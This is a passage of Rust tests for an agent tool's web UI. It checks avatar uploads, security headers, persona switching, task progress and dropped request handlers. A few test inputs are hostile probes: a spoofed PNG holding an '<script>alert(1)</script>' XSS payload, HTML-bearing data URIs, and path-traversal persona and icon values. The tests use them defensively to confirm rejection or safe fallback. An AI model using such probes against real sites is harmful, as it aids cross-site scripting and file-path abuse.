15195        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15196            .await
15197            .unwrap()
15198            .0;
15199        assert!(
15200            catalog["personas"]
15201                .as_array()
15202                .unwrap()
15203                .iter()
15204                .any(|p| p["id"] == "../custom/日本語")
15205        );
15206        for expected in ["custom", "default", "rei"] {
15207            assert!(
15208                catalog["personas"]
15209                    .as_array()
15210                    .unwrap()
15211                    .iter()
15212                    .any(|p| p["id"] == expected)
15213            );
15214        }
15215        let response =
15216            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15217        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15218        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15219            .await
15220            .unwrap();
15221        assert_eq!(
15222            effective_persona_icon(home.path(), "rei", Some(icon)),
15223            Some(String::new())
15224        );
15225        let response = talk_avatar(
15226            State(restarted.clone()),
15227            Path(id.clone()),
15228            Query(AvatarQuery {
15229                persona: Some("rei".into()),
15230                ..Default::default()
15231            }),
15232        )
15233        .await
15234        .unwrap();
15235        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15236        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15237            .await
15238            .unwrap()
15239            .0;
15240        assert_ne!(
15241            after
15242                .personas
15243                .iter()
15244                .find(|p| p.id == "rei")
15245                .unwrap()
15246                .avatar,
15247            reset
15248                .personas
15249                .iter()
15250                .find(|p| p.id == "rei")
15251                .unwrap()
15252                .avatar
15253        );
15254        let mut inherit = target(Some("rei"));
15255        inherit.inherit = Some("1".into());
15256        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15257            .await
15258            .unwrap();
15259        assert_eq!(
15260            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15261            Some(icon)
15262        );
15263        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15264            .await
15265            .unwrap();
15266        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15267        assert_eq!(
15268            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15269            Some(icon)
15270        );
15271        // Display changes never rewrite the conversation or its prompt-bearing config.
15272        let cfg = config_for(&ui.repo).await.unwrap();
15273        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15274        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15275        assert!(!original_prompt.contains("data:image"));
15276        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15277        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15278        assert!(!stored.contains("data:image"));
15279        let mut orphan = ui.talks.get(&id).unwrap();
15280        orphan.persona = "../custom/日本語".into();
15281        let view = TalkView::with_config(
15282            orphan,
15283            false,
15284            Some(&cfg),
15285            home.path(),
15286            &id_links::IndexCache::default(),
15287        );
15288        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15289    }
15290
15291    #[tokio::test]
15292    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15293        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15294        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15295        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15296        let _ = magi_icon_put(
15297            State(ui.clone()),
15298            Json(MagiIconUpload { icon: icon.into() }),
15299        )
15300        .await
15301        .unwrap();
15302        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15303        assert_ne!(original, changed);
15304        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15305        let response = magi_avatar(
15306            State(ui.clone()),
15307            Query(AvatarQuery {
15308                persona: None,
15309                builtin: None,
15310            }),
15311        )
15312        .await;
15313        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15314        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15315        assert_eq!(
15316            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15317            "nosniff"
15318        );
15319        for bad in [
15320            "data:image/png;base64,PGh0bWw+".to_owned(),
15321            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15322            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15323        ] {
15324            assert!(save_magi_icon(home.path(), &bad).is_err());
15325            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15326        }
15327        // Re-opened server state reads the same independent home file.
15328        let restarted = Arc::new(Ui::new(
15329            Queue::at(home.path().join("queue")),
15330            Questions::at(home.path().join("questions")),
15331            Talks::at(home.path().join("talks")),
15332            home.path().join("runs"),
15333            home.path().to_path_buf(),
15334            repo,
15335        ));
15336        assert_eq!(
15337            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15338            changed
15339        );
15340        let view = TalkView::with_config(
15341            restarted.talks.get(&id).unwrap(),
15342            false,
15343            None,
15344            &restarted.home,
15345            &restarted.references,
15346        );
15347        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15348        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15349        let response = magi_avatar(
15350            State(ui.clone()),
15351            Query(AvatarQuery {
15352                persona: None,
15353                builtin: None,
15354            }),
15355        )
15356        .await;
15357        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15358            .await
15359            .unwrap();
15360        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15361        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15362        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15363        let _ = magi_icon_delete(State(ui)).await.unwrap();
15364    }
15365
15366    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15367    async fn avatar(
15368        ui: &Arc<Ui>,
15369        id: &str,
15370        persona: Option<&str>,
15371        builtin: bool,
15372    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15373        let res = talk_avatar(
15374            State(Arc::clone(ui)),
15375            Path(id.to_owned()),
15376            Query(AvatarQuery {
15377                persona: persona.map(str::to_owned),
15378                builtin: builtin.then(|| "1".to_owned()),
15379            }),
15380        )
15381        .await
15382        .expect("an avatar is never an error response");
15383        let h = res.headers();
15384        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15385        let nosniff = h
15386            .get(header::X_CONTENT_TYPE_OPTIONS)
15387            .is_some_and(|v| v == "nosniff");
15388        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15389        let status = res.status();
15390        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15391            .await
15392            .expect("body")
15393            .to_vec();
15394        (status, ct, nosniff, csp, body)
15395    }
15396
15397    fn tiny_png() -> Vec<u8> {
15398        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15399        b.extend_from_slice(&[0u8; 32]);
15400        b
15401    }
15402
15403    #[tokio::test]
15404    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15405        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15406        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15407        assert_eq!(res.status(), StatusCode::OK);
15408        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15409        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15410        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15411        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15412        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15413            .await
15414            .unwrap();
15415        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15416        assert_ne!(
15417            persona_icon::operator_svg(),
15418            persona_icon::builtin_svg("default")
15419        );
15420    }
15421
15422    #[tokio::test]
15423    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15424        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15425        for p in [
15426            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15427        ] {
15428            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15429            assert_eq!(status, StatusCode::OK, "{p}");
15430            assert_eq!(ct, "image/svg+xml", "{p}");
15431            assert!(nosniff && csp, "{p}");
15432            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15433        }
15434        // No `persona` means the conversation's own; unknown ones fall back.
15435        let own = avatar(&ui, &id, None, false).await;
15436        let default = avatar(&ui, &id, Some("default"), false).await;
15437        assert_eq!(own.4, default.4);
15438        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15439        assert_eq!(unknown.1, "image/svg+xml");
15440    }
15441
15442    #[tokio::test]
15443    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15444        let dir = TempDir::new().expect("icons");
15445        let good = dir.path().join("good.png");
15446        std::fs::write(&good, tiny_png()).unwrap();
15447        let spoof = dir.path().join("spoof.png");
15448        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15449        let big = dir.path().join("big.png");
15450        let mut bytes = tiny_png();
15451        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15452        std::fs::write(&big, bytes).unwrap();
15453        let missing = dir.path().join("missing.png");
15454        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15455        let extra = format!(
15456            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15457             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15458             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15459             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15460             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15461             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15462            uri(&good),
15463            uri(&spoof),
15464            uri(&big),
15465            uri(&missing),
15466        );
15467        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15468
15469        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15470        assert_eq!(
15471            (status, ct.as_str(), nosniff),
15472            (StatusCode::OK, "image/png", true)
15473        );
15474        assert_eq!(body, tiny_png());
15475        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15476        assert_eq!(ct, "image/png", "data URI");
15477
15478        for p in ["misato", "asuka", "shinji", "magi"] {
15479            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15480            assert_eq!(
15481                (status, ct.as_str(), csp),
15482                (StatusCode::OK, "image/svg+xml", true),
15483                "{p}"
15484            );
15485            assert!(body.starts_with(b"<svg"), "{p}");
15486        }
15487        // The page's own retry skips the icon.
15488        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15489        assert_eq!(ct, "image/svg+xml");
15490    }
15491
15492    #[tokio::test]
15493    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15494        let oversized = format!(
15495            "data:image/png;base64,{}",
15496            "A".repeat(persona_icon::ICON_MAX_BYTES)
15497        );
15498        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15499            let extra = format!(
15500                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15501            );
15502            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15503            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15504                .await
15505                .expect("detail with invalid icon");
15506            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15507            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15508            assert_eq!(status, StatusCode::OK);
15509            assert_eq!(ct, "image/svg+xml");
15510            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15511            let Json(view) = talk_persona(
15512                State(Arc::clone(&ui)),
15513                Path(id.clone()),
15514                Json(TalkPersona {
15515                    persona: "custom".into(),
15516                }),
15517            )
15518            .await
15519            .expect("persona switch with invalid icon");
15520            assert_eq!(view.talk.persona, "custom");
15521            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15522        }
15523    }
15524
15525    #[tokio::test]
15526    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15527        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15528        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15529        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15530        assert_eq!(
15531            (status, ct.as_str(), nosniff, csp),
15532            (StatusCode::OK, "image/svg+xml", true, true)
15533        );
15534    }
15535
15536    #[tokio::test]
15537    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15538        let (_t, _h, ui, id, _repo) =
15539            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15540        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15541            .await
15542            .expect("detail");
15543        let json = serde_json::to_string(&detail).unwrap();
15544        assert!(
15545            !json.contains("secret"),
15546            "the icon setting must not leak: {json}"
15547        );
15548        assert!(
15549            detail
15550                .view
15551                .persona_avatar
15552                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15553        );
15554        assert_eq!(
15555            detail.view.operator_avatar,
15556            format!(
15557                "/avatars/operator.svg?v={}",
15558                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15559            )
15560        );
15561        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15562        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15563        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15564        assert!(rei.avatar.contains("persona=rei&v="));
15565        assert_ne!(
15566            rei.avatar.split("&v=").nth(1),
15567            plain.avatar.split("&v=").nth(1)
15568        );
15569    }
15570
15571    #[tokio::test]
15572    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15573        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15574        let cfg = config_for(&repo).await.unwrap();
15575        for arrived in [false, true] {
15576            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15577            let observed = ui.queued_generation(&id);
15578            let talk = ui.talks.get(&id).unwrap();
15579            if arrived {
15580                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15581            }
15582            let mut settling = std::pin::pin!(settle_settings_turn(
15583                talk,
15584                ui.talks.clone(),
15585                cfg.clone(),
15586                id.clone(),
15587                turn,
15588                observed
15589            ));
15590            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15591            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15592            assert_eq!(first.is_pending(), arrived);
15593            if arrived {
15594                assert!(!settling.await);
15595            }
15596            assert!(!ui.is_thinking(&id));
15597        }
15598    }
15599
15600    #[tokio::test]
15601    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15602        let tmp = TempDir::new().expect("tempdir");
15603        let repo = tmp.path().join("repo");
15604        std::fs::create_dir_all(&repo).expect("repo dir");
15605        std::fs::write(
15606            repo.join("magi.toml"),
15607            format!(
15608                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15609            ),
15610        )
15611        .expect("write magi.toml");
15612        let home = TempDir::new().expect("temp home");
15613        let talks = Talks::at(home.path().join("talks"));
15614        let ui = Arc::new(
15615            Ui::new(
15616                Queue::at(home.path().join("queue")),
15617                Questions::at(home.path().join("questions")),
15618                talks.clone(),
15619                home.path().join("runs"),
15620                home.path().to_path_buf(),
15621                repo.clone(),
15622            )
15623            .with_worktrees_root(home.path().join("wt")),
15624        );
15625        let cfg = config_for(&repo).await.expect("discover config");
15626        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15627        let id = talk.id.clone();
15628        let call = |persona: &str| {
15629            talk_persona(
15630                State(Arc::clone(&ui)),
15631                Path(id.clone()),
15632                Json(TalkPersona {
15633                    persona: persona.to_owned(),
15634                }),
15635            )
15636        };
15637
15638        let unknown = call("nobody").await.expect_err("unknown persona");
15639        assert_eq!(
15640            unknown.status,
15641            StatusCode::BAD_REQUEST,
15642            "{}",
15643            unknown.message
15644        );
15645
15646        {
15647            // Nothing refused so far took a claim, so the guard is free to take
15648            // and holding it is what makes the talk busy.
15649            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15650            let busy = call("rei").await.expect_err("busy talk");
15651            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15652            assert!(
15653                busy.message.contains("a talk turn is running"),
15654                "{}",
15655                busy.message
15656            );
15657            drop(guard);
15658        }
15659        assert_eq!(talks.get(&id).expect("reload").persona, "");
15660
15661        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15662        assert_eq!(view.talk.persona, "gendo");
15663        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15664        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15665        // No intervening I/O or sleep may be needed before another change.
15666        for chosen in ["default", "gendo", "rei", "gendo"] {
15667            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15668            assert!(!view.thinking);
15669            assert!(!ui.is_thinking(&id));
15670        }
15671
15672        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15673            .await
15674            .expect("detail");
15675        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15676        assert_eq!(ids.first(), Some(&"default"));
15677        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15678
15679        let Json(view) = call("default").await.expect("back to default");
15680        assert_eq!(view.talk.persona, "");
15681
15682        let mut closed = talks.get(&id).expect("reload");
15683        talk::close(&mut closed, &talks).expect("close");
15684        let refused = call("rei").await.expect_err("closed talk");
15685        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15686        assert!(
15687            refused.message.contains("takes no more turns"),
15688            "{}",
15689            refused.message
15690        );
15691    }
15692
15693    #[tokio::test]
15694    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15695        let f = Fixture::start().await;
15696        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15697        let queue = f.queue();
15698        let mut mine = Task::new(
15699            "rename the loader".to_owned(),
15700            "rename the loader".to_owned(),
15701            PathBuf::from("/repo/magi"),
15702            Source::Agent {
15703                run: talk_id.clone(),
15704                node: "chat".to_owned(),
15705            },
15706        );
15707        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15708        assert_eq!(empty["task_progress"]["state"], "none");
15709        assert_eq!(empty["task_progress"]["total"], 0);
15710        queue.put(&mut mine).expect("file the task");
15711        let mut theirs = Task::new(
15712            "unrelated".to_owned(),
15713            "unrelated".to_owned(),
15714            PathBuf::from("/repo/magi"),
15715            Source::Human,
15716        );
15717        // A later task linked through origin_chat alone is outside this list.
15718        theirs.origin_chat = Some(talk_id.clone());
15719        queue.put(&mut theirs).expect("file the task");
15720
15721        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15722        assert_eq!(res.status, 200, "{}", res.body);
15723        let body = res.json();
15724        assert_eq!(
15725            body["status"], "open",
15726            "filing a task does not close a talk"
15727        );
15728        let tasks = body["tasks"].as_array().expect("tasks array");
15729        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15730        assert_eq!(tasks[0]["id"], mine.id);
15731        for status in [
15732            TaskStatus::Queued,
15733            TaskStatus::Running,
15734            TaskStatus::Held,
15735            TaskStatus::Failed,
15736            TaskStatus::Blocked,
15737            TaskStatus::Parked,
15738            TaskStatus::Done,
15739            TaskStatus::Queued,
15740        ] {
15741            mine.status = status;
15742            queue.put(&mut mine).expect("update status");
15743            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15744            let progress = &detail["task_progress"];
15745            assert_eq!(progress["total"], 1);
15746            assert_eq!(progress["counts"][status.as_str()], 1);
15747            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15748            assert_eq!(detail["status"], "open", "completion never closes the chat");
15749            if status == TaskStatus::Done {
15750                assert_eq!(progress["state"], "complete");
15751                assert_eq!(progress["done"], 1);
15752                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15753            } else {
15754                assert_eq!(progress["state"], "incomplete");
15755                assert_eq!(progress["done"], 0);
15756                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15757            }
15758        }
15759    }
15760
15761    #[test]
15762    fn talk_task_progress_counts_mixed_statuses() {
15763        let mut tasks: Vec<_> = [
15764            TaskStatus::Queued,
15765            TaskStatus::Running,
15766            TaskStatus::Held,
15767            TaskStatus::Failed,
15768            TaskStatus::Blocked,
15769            TaskStatus::Parked,
15770            TaskStatus::Done,
15771        ]
15772        .into_iter()
15773        .map(|status| {
15774            let mut task = Task::new(
15775                "task".into(),
15776                "task".into(),
15777                PathBuf::from("/repo"),
15778                Source::Human,
15779            );
15780            task.status = status;
15781            task
15782        })
15783        .collect();
15784        let progress = talk_task_progress(&tasks);
15785        assert_eq!(progress.state, "incomplete");
15786        assert_eq!(progress.total, 7);
15787        assert_eq!(progress.done, 1);
15788        assert_eq!(progress.unfinished_ids.len(), 6);
15789        assert!(progress.counts.values().all(|count| *count == 1));
15790        assert_eq!(
15791            progress.unfinished_ids,
15792            tasks[..6]
15793                .iter()
15794                .map(|task| task.id.clone())
15795                .collect::<Vec<_>>()
15796        );
15797
15798        for task in &mut tasks {
15799            task.status = TaskStatus::Done;
15800        }
15801        let complete = talk_task_progress(&tasks);
15802        assert_eq!(complete.state, "complete");
15803        assert_eq!(complete.done, 7);
15804        assert!(complete.unfinished_ids.is_empty());
15805        tasks[0].status = TaskStatus::Queued;
15806        let requeued = talk_task_progress(&tasks);
15807        assert_eq!(requeued.state, "incomplete");
15808        assert_eq!(requeued.done, 6);
15809        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15810
15811        let empty = talk_task_progress(&[]);
15812        assert_eq!(empty.state, "none");
15813        assert_eq!(empty.total, 0);
15814        assert_eq!(empty.done, 0);
15815        assert!(empty.unfinished_ids.is_empty());
15816        assert!(empty.counts.values().all(|count| *count == 0));
15817    }
15818
15819    #[tokio::test]
15820    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15821        let (_tmp, _repo, f) = talk_fixture().await;
15822        let id = f.post("/api/talks", None).await.json()["id"]
15823            .as_str()
15824            .expect("id")
15825            .to_owned();
15826
15827        let res = f
15828            .post(
15829                &format!("/api/talks/{id}/say"),
15830                Some(r#"{"text":"what does the queue module do?"}"#),
15831            )
15832            .await;
15833        assert_eq!(res.status, 202, "{}", res.body);
15834        let queued = res.json();
15835        let turns = queued["turns"].as_array().expect("turns array");
15836        assert_eq!(
15837            turns.len(),
15838            1,
15839            "the answer reflects only what is on disk the instant it is sent, \
15840             before the agent's turn - which can run for the whole of \
15841             `[graph] timeout_talk` - has a chance to land: {queued}"
15842        );
15843        assert_eq!(turns[0]["who"], "operator");
15844        assert_eq!(turns[0]["body"], "what does the queue module do?");
15845        assert_eq!(
15846            queued["thinking"], true,
15847            "the accepted response exposes the background turn claim: {queued}"
15848        );
15849
15850        let mut turns_after = 1;
15851        for _ in 0..SETTLE_STEPS {
15852            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15853            turns_after = detail["turns"].as_array().expect("turns array").len();
15854            if turns_after == 2 {
15855                break;
15856            }
15857            tokio::time::sleep(Duration::from_millis(10)).await;
15858        }
15859        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15860    }
15861
15862    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15863    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15864    /// guards against: `talk::record` used to return, and only *then* did the
15865    /// handler make a second, separate disk round trip before spawning the
15866    /// agent's reply task. A future dropped in that gap left a message
15867    /// recorded on disk with no reply task ever started and no way back short
15868    /// of a fresh message - and the gap was not even the whole story: *any*
15869    /// `.await` in this handler, including the very first one, is a point
15870    /// where a drop can land after the awaited work already finished but
15871    /// before this handler's own code resumes to act on it. `record` now
15872    /// runs inside the task `tokio::spawn` hands to the runtime before this
15873    /// handler ever awaits anything of its own again, so there is nothing
15874    /// left in *this* handler's future for a disconnect to interrupt between
15875    /// the message landing on disk and the reply task starting.
15876    ///
15877    /// A real socket disconnect cannot be relied on to land in the old gap
15878    /// from a test - over loopback, `talk_say` typically finishes before the
15879    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15880    /// same failure mode directly: it drops the task's future at whatever
15881    /// point it has reached, exactly what axum does to the handler future,
15882    /// without needing to win a real network race. Sweeping the delay before
15883    /// aborting samples a range of points the task's execution can be at,
15884    /// including where the old code sat waiting on its second disk round
15885    /// trip - confirmed by reverting this fix locally and watching this same
15886    /// sweep catch a talk stuck with the operator's turn recorded and no
15887    /// reply ever following.
15888    #[tokio::test]
15889    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15890        let tmp = TempDir::new().expect("tempdir");
15891        let repo = tmp.path().join("repo");
15892        std::fs::create_dir_all(&repo).expect("repo dir");
15893        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15894        let home = TempDir::new().expect("temp home");
15895        let talks = Talks::at(home.path().join("talks"));
15896        let ui = Arc::new(
15897            Ui::new(
15898                Queue::at(home.path().join("queue")),
15899                Questions::at(home.path().join("questions")),
15900                talks.clone(),
15901                home.path().join("runs"),
15902                home.path().to_path_buf(),
15903                repo.clone(),
15904            )
15905            .with_worktrees_root(home.path().join("wt")),
15906        );
15907        let cfg = config_for(&repo).await.expect("discover config");
15908
15909        for delay in 0..40u32 {
15910            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15911            let id = talk.id.clone();
15912
15913            let handler = tokio::spawn(talk_say(
15914                State(Arc::clone(&ui)),
15915                Path(id.clone()),
15916                Ok(Json(NewTalkTurn {
15917                    reply_to: None,
15918                    text: "what does the queue module do?".to_owned(),
15919                    attachments: Vec::new(),
15920                })),
15921            ));
15922            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15923            handler.abort();
15924            // Wait out the abort so the next iteration's talk does not race
15925            // this one's still-unwinding turn guard.
15926            let _ = handler.await;
15927
15928            let mut turns = 0;
15929            for _ in 0..SETTLE_STEPS {
15930                if let Ok(fresh) = talks.get(&id) {
15931                    turns = fresh.turns.len();
15932                    if turns != 1 {
15933                        break;
15934                    }
15935                }
15936                tokio::time::sleep(Duration::from_millis(10)).await;
15937            }
15938            assert_ne!(
15939                turns, 1,
15940                "delay {delay}: talk {id} recorded the operator's turn but \
15941                 the agent never answered - the reply task was never \
15942                 started after the handler future was dropped"
15943            );
15944        }
15945    }
15946
15947    /// The same drop, landing on `talk_say`'s other durable write.
15948    ///
15949    /// When a turn is already running, the busy branch persists the
15950    /// operator's text as a queued draft and then reclaims the turn slot if
15951    /// the holder gave it up in the meantime - and whoever reclaims owes that
15952    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15953    /// which finishes whether or not the future awaiting it is still there,
15954    /// so a handler dropped at that `.await` used to leave the draft written
15955    /// to disk with the reclaimed guard dropped unread and no drainer ever
15956    /// started: the message sat queued until some unrelated later `say`
15957    /// happened to pick it up.
15958    ///
15959    /// This used to drive the handler future by hand, polling it a fixed
15960    /// number of times to park it at the `.await` where it asks for the turn
15961    /// and finds it busy, before the reclaim's slot-free case could be set up
15962    /// underneath it. That assumed a fixed number of polls lands at a fixed
15963    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15964    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15965    /// poll, so any number of this handler's several `blocking` awaits can
15966    /// collapse into one poll under load, landing the drive somewhere other
15967    /// than intended - including, occasionally, straight past the handler's
15968    /// own completion, which made polling it again panic with "async fn
15969    /// resumed after completion". No poll count fixes that; the handler's
15970    /// progress simply is not something a caller outside it can observe by
15971    /// counting.
15972    ///
15973    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15974    /// inside the write itself, so the interleaving under test is pinned by
15975    /// an event instead of a guess: the gate fires only once the handler has
15976    /// actually decided `Busy` and is about to persist the draft, and it
15977    /// blocks that write until the test lets it through. Between those two
15978    /// moments the test drains the turn the handler found busy - through
15979    /// `drain_loop`, the protocol's other half - and then aborts the handler
15980    /// task outright, the same way axum drops a disconnected request's
15981    /// future. The write, and the reclaim it may do, run to completion
15982    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15983    /// to the runtime before ever touching the gate, wholly independent of
15984    /// whether the handler that started it is still around - which is what
15985    /// this test is actually checking. A drainer other than that reclaim
15986    /// cannot exist here: the test's own `drain_loop` call happens before the
15987    /// gate opens, so it runs while the queue is still empty and hands the
15988    /// turn straight back rather than draining anything, closing off the
15989    /// possibility of the final assertion passing without the reclaim ever
15990    /// having done its job.
15991    #[tokio::test]
15992    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15993        let tmp = TempDir::new().expect("tempdir");
15994        let repo = tmp.path().join("repo");
15995        std::fs::create_dir_all(&repo).expect("repo dir");
15996        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15997        let home = TempDir::new().expect("temp home");
15998        let talks = Talks::at(home.path().join("talks"));
15999        let ui = Arc::new(
16000            Ui::new(
16001                Queue::at(home.path().join("queue")),
16002                Questions::at(home.path().join("questions")),
16003                talks.clone(),
16004                home.path().join("runs"),
16005                home.path().to_path_buf(),
16006                repo.clone(),
16007            )
16008            .with_worktrees_root(home.path().join("wt")),
16009        );
16010        let cfg = config_for(&repo).await.expect("discover config");
16011
16012        for attempt in 0..3u32 {
